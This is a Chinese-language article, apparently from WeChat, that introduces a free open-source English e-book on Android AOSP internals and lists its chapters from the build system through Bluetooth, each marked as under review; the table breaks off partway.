  <p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: var(--base-size-16);" data-pm-slice="0 0 []"><span leaf="">这是一本开源的免费电子书，共64个章节，详细讲解AOSP的不同组件。同时这也是一本英文电子书，支持本地浏览器访问。有时间精力的朋友，也可以将其翻译并制作成中文PDF。就是会需要耗费一些时间与Token。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.42314814814814816" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001471" src="https://wechat2rss.xlab.app/img-proxy/?k=2cf3f719&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTibiasYChG5mr3vdXLqXRQfiaPhydsy5t0oObKQaGVzuviarD89zib5gzPOicKXruWmnlnu0J7fWTHVnAAbj2CtcSUicuzdpKnYOQVDHc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: var(--base-size-16);" data-pm-slice="0 0 []"><span leaf="">以下是图书的目录： </span></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: var(--base-size-16);" data-pm-slice="0 0 []"><span leaf="">chapters organized bottom-to-top through the Android architecture:</span></p><markdown-accessiblity-table data-catalyst="" style="box-sizing: border-box;display: block;"><table style="box-sizing: border-box;border-spacing: 0px;border-collapse: collapse;margin-top: 0px;margin-bottom: var(--base-size-16);font-variant-ligatures: normal;font-variant-caps: normal;font-variant-alternates: normal;font-variant-numeric: tabular-nums;font-variant-east-asian: normal;font-variant-position: normal;font-variant-emoji: normal;width: max-content;max-width: 100%;display: block;overflow: auto;"><thead><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: var(--base-text-weight-semibold,600);border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Part</span></p></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: var(--base-text-weight-semibold,600);border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Ch.</span></p></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: var(--base-text-weight-semibold,600);border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Topics</span></p></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: var(--base-text-weight-semibold,600);border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Status</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">I</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">0</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Frontmatter</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">I</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">1</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Introduction</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">I</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">2</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Source Code &amp; Build System (Soong/Bazel/Kleaf)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">I</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">3</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Feature Flags (aconfig)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">II</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">4</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Boot and Init</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">II</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">5</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Kernel (GKI)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">II</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">6</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">System Properties</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">III</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">7</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Bionic &amp; Linker</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">III</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">8</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Memory Management</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">III</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">9</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Binder IPC</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">III</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">10</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">HAL (HIDL/AIDL)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">III</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">11</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">NDK</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">12</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Native Services</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">13</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Graphics &amp; Render Pipeline (OpenGL ES/Vulkan/Skia/HWUI)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">14</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Animation System</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">15</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Audio System (Spatial)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">16</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Media &amp; Camera</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">17</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Sensors</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">V</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">18</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">ART Runtime</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">V</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">19</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Native Bridge (Berberis)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">20</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">system_server</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">21</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Intent System</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">22</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Activity &amp; Window Management</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">23</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Window System</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">24</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Display System</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">25</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">View System</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">26</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Package Manager</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">27</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Content Providers</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">28</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Notifications</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">29</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Power Management</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">30</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Background Tasks</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">31</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Multi-User</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">32</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Account &amp; Sync</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">33</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Location</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">34</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Storage</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">35</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Networking (VCN/Thread)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">36</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Telephony (IMS)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">37</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Bluetooth</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid 